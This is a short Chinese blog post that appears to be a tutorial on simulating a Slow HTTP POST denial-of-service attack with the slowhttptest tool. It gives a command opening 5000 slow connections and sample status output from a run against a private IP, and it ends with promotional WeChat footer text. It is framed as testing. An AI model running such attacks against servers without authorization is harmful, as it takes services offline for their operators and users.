Slow HTTP POST慢速攻击
测试工具
模拟测试工具:slowhttptest
安装:
使用:
slowhttptest -c 5000 -u [hostname/ip]
-c 表示发起5000个连接,由于是慢速DDOS且是基于http协议的,这里发起的连接请求是确确实实会与服务器进行三次握手并维持与服务器的连接的。
-u 注意这里的hostname或者ip都需要在前面加上协议 http://。
模拟测试:
./slowhttptest -c 5000 -u https://192.168.1.3
slow HTTP test status on 50th second:
initializing: 0
pending: 8
connected: 1757
error: 0
closed: 3
service available: YES
攻击如果成功,service available会变成no。
推荐阅读
分享Java干货,高并发编程,热门技术教程,微服务及分布式技术,架构设计,区块链技术,人工智能,大数据,Java面试题,以及前沿热门资讯等。
关注微信公众号福利!!!
回复关键字「666」获取一份最新 Java 架构资料,你要的都有!
回复关键字「Java」获取JVM, 多线程等Java技术系列教程;
回复关键字「spring」获取Spring, Spring Boot, Spring Cloud教程;
回复关键字「架构」获取分布式、微服务、架构、高并发等系列干货;
回复关键字「面试」获取各种 Java 面试题及答案、面试实战经验;